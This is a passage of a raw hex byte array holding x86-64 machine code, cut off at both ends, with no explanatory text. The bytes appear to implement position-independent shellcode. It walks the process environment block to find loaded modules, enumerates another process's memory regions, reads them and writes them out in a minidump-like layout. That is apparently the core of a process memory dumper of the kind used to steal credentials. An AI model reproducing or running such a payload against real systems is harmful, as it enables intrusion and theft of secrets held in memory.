x00,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2E,0xF7,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x86,0xD2,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x50,0x05,0x00,0x00,0x8B,0x4D,0x18,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8D,0x50,0x14,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xE1,0xF6,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x39,0xD2,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x03,0x05,0x00,0x00,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xBD,0x48,0x01,0x00,0x00,0x00,0x0F,0x85,0xFC,0xFE,0xFF,0xFF,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x8B,0x40,0x10,0x89,0x85,0x98,0x00,0x00,0x00,0x48,0x8D,0x95,0x9C,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x69,0xF6,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC1,0xD1,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x8B,0x04,0x00,0x00,0x48,0xC7,0x45,0x20,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x30,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x48,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x68,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x70,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x78,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x7C,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x84,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0xE9,0x9C,0x03,0x00,0x00,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0E,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x48,0x89,0x45,0xA0,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x40,0x10,0x89,0x45,0xA8,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x1C,0x02,0x00,0x00,0x89,0x45,0xAC,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x18,0x02,0x00,0x00,0x89,0x45,0xB0,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x8B,0x80,0x14,0x02,0x00,0x00,0x89,0x45,0xB4,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0xBC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0xC7,0x85,0x3C,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0xA0,0x48,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x08,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xA8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xAC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xB8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xBC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xC8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xCC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xD8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xDC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xE8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xEC,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF0,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF4,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x8B,0x45,0xF8,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x04,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0x00,0x48,0x89,0x02,0x83,0x85,0x3C,0x01,0x00,0x00,0x08,0x8B,0x85,0x3C,0x01,0x00,0x00,0x48,0x8D,0x55,0x20,0x48,0x01,0xC2,0x48,0x8B,0x45,0x08,0x48,0x89,0x02,0x48,0x8D,0x55,0x20,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB8,0x6C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x55,0xF2,0xFF,0xFF,0x85,0xC0,0x75,0x26,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAD,0xCD,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7A,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xBD,0x48,0x01,0x00,0x00,0x00,0x0F,0x85,0x56,0xFC,0xFF,0xFF,0x8B,0x85,0x9C,0x00,0x00,0x00,0x6B,0xC0,0x6C,0x83,0xC0,0x04,0x89,0x45,0x1C,0x48,0x8D,0x55,0x1C,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x30,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x93,0xF1,0xFF,0xFF,0x48,0x8D,0x95,0x98,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x34,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6F,0xF1,0xFF,0xFF,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x81,0xC4,0xD8,0x01,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x45,0x18,0x48,0x89,0x45,0xF8,0xEB,0x40,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x08,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x72,0x24,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x08,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x10,0x89,0xC0,0x48,0x01,0xD0,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x73,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x17,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xB9,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xA0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x90,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x00,0x4C,0x8D,0x45,0x90,0x8B,0x4D,0xDC,0x48,0x8B,0x55,0xF0,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x30,0x00,0x00,0x00,0x4D,0x89,0xC1,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xA0,0xDF,0xFF,0xFF,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x88,0x99,0x01,0x00,0x00,0x48,0x8B,0x45,0x90,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xA8,0x48,0x89,0x45,0xC8,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC8,0x48,0x01,0xC2,0x48,0x8B,0x45,0xD0,0x48,0x39,0xC2,0x0F,0x82,0x74,0x01,0x00,0x00,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC8,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x8B,0x45,0xB0,0x3D,0x00,0x10,0x00,0x00,0x0F,0x85,0x2A,0x01,0x00,0x00,0x8B,0x45,0xB8,0x3D,0x00,0x00,0x04,0x00,0x0F,0x84,0x22,0x01,0x00,0x00,0x8B,0x45,0xB4,0x83,0xE0,0x01,0x85,0xC0,0x0F,0x85,0x1A,0x01,0x00,0x00,0x8B,0x45,0xB4,0x25,0x00,0x01,0x00,0x00,0x85,0xC0,0x0F,0x85,0x10,0x01,0x00,0x00,0x8B,0x45,0xB4,0x83,0xE0,0x10,0x85,0xC0,0x0F,0x85,0x08,0x01,0x00,0x00,0x8B,0x45,0xB8,0x3D,0x00,0x00,0x00,0x01,0x75,0x18,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0xD0,0x48,0x89,0xC1,0xE8,0x7B,0xFE,0xFF,0xFF,0x85,0xC0,0x0F,0x84,0xEC,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x08,0x48,0x39,0x45,0xD0,0x0F,0x84,0xE0,0x00,0x00,0x00,0x48,0x8B,0x05,0xF8,0xBC,0x00,0x00,0xFF,0xD0,0x41,0xB8,0x28,0x00,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xE9,0xBC,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xC0,0x48,0x83,0x7D,0xC0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC7,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x55,0xD0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x50,0x08,0x48,0x8B,0x45,0xC0,0x48,0x8B,0x55,0xC8,0x48,0x89,0x50,0x10,0x8B,0x55,0xB0,0x48,0x8B,0x45,0xC0,0x89,0x50,0x18,0x8B,0x55,0xB4,0x48,0x8B,0x45,0xC0,0x89,0x50,0x1C,0x8B,0x55,0xB8,0x48,0x8B,0x45,0xC0,0x89,0x50,0x20,0x48,0x83,0x7D,0xF8,0x00,0x75,0x0A,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF8,0xEB,0x2C,0x48,0x8B,0x45,0xF8,0x48,0x89,0x45,0xE0,0xEB,0x0B,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x00,0x48,0x85,0xC0,0x75,0xE9,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x55,0xC0,0x48,0x89,0x10,0x83,0x45,0xEC,0x01,0xE9,0x52,0xFE,0xFF,0xFF,0x90,0xE9,0x4C,0xFE,0xFF,0xFF,0x90,0xE9,0x46,0xFE,0xFF,0xFF,0x90,0xE9,0x40,0xFE,0xFF,0xFF,0x90,0xE9,0x3A,0xFE,0xFF,0xFF,0x90,0xE9,0x34,0xFE,0xFF,0xFF,0x90,0xE9,0x2E,0xFE,0xFF,0xFF,0x90,0xE9,0x28,0xFE,0xFF,0xFF,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF8,0x48,0x81,0xC4,0xA0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x78,0x48,0x8D,0x6C,0x24,0x70,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x48,0x8B,0x45,0x20,0x8B,0x40,0x10,0x89,0x45,0xE0,0x48,0x8B,0x55,0x28,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0x9B,0xFD,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x76,0x03,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xEB,0x17,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x01,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xE2,0x48,0x8D,0x55,0xD8,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7B,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD6,0xC9,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x09,0x03,0x00,0x00,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC0,0x01,0x48,0xC1,0xE0,0x04,0xBA,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC2,0x73,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9D,0xC9,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xD0,0x02,0x00,0x00,0x48,0x8B,0x45,0xD8,0x83,0xC0,0x01,0xC1,0xE0,0x04,0x89,0x45,0xD4,0x8B,0x45,0xE0,0x89,0xC2,0x8B,0x45,0xD4,0x89,0xC0,0x48,0x01,0xD0,0x48,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC8,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE7,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x42,0xC9,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x75,0x02,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0xE9,0x8D,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8D,0x50,0x08,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x99,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF4,0xC8,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x27,0x02,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8D,0x50,0x10,0x48,0x8B,0x45,0x20,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x58,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x23,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB3,0xC8,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE6,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x0F,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x8D,0x55,0xD4,0x48,0x8B,0x45,0x20,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x3C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB4,0xEC,0xFF,0xFF,0x48,0x8D,0x55,0xE0,0x48,0x8B,0x45,0x20,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x40,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x96,0xEC,0xFF,0xFF,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xF8,0xE9,0x78,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x58,0x10,0x48,0x8B,0x05,0xBA,0xB9,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xAE,0xB9,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x4D,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x48,0x10,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x08,0x49,0x89,0xC2,0x48,0x8B,0x45,0x20,0x48,0x8B,0x00,0x48,0x8B,0x55,0xE8,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0x4C,0x89,0xD2,0x48,0x89,0xC1,0xE8,0xD6,0xD9,0xFF,0xFF,0x89,0x45,0xE4,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x10,0xBA,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC2,0x73,0x0D,0x48,0x8B,0x45,0xF8,0xBB,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0x58,0x10,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x10,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x20,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x21,0xEC,0xFF,0xFF,0x85,0xC0,0x75,0x6C,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x7C,0xC7,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x45,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x10,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x38,0x27,0x00,0x00,0x48,0x8B,0x05,0xD1,0xB8,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC9,0xB8,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x66,0x48,0x83,0x7D,0xE8,0x00,0x74,0x45,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x10,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE5,0x26,0x00,0x00,0x48,0x8B,0x05,0x7E,0xB8,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x76,0xB8,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x0F,0x85,0x7D,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x78,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xAF,0xEB,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xC4,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x80,0xED,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xAA,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x67,0xEE,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x90,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xD4,0xF1,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x72,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB9,0xFB,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x20,0x48,0x8B,0x45,0xF8,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x10,0xC6,0xFF,0xFF,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xEB,0x37,0x48,0x8B,0x45,0xF8,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF0,0xC5,0xFF,0xFF,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD7,0xC5,0xFF,0xFF,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xDC,0x60,0x00,0x00,0x00,0x8B,0x45,0xDC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x39,0xD0,0x72,0x2A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x40,0x89,0xC0,0x48,0x01,0xD0,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x73,0x0A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xEB,0x1A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x0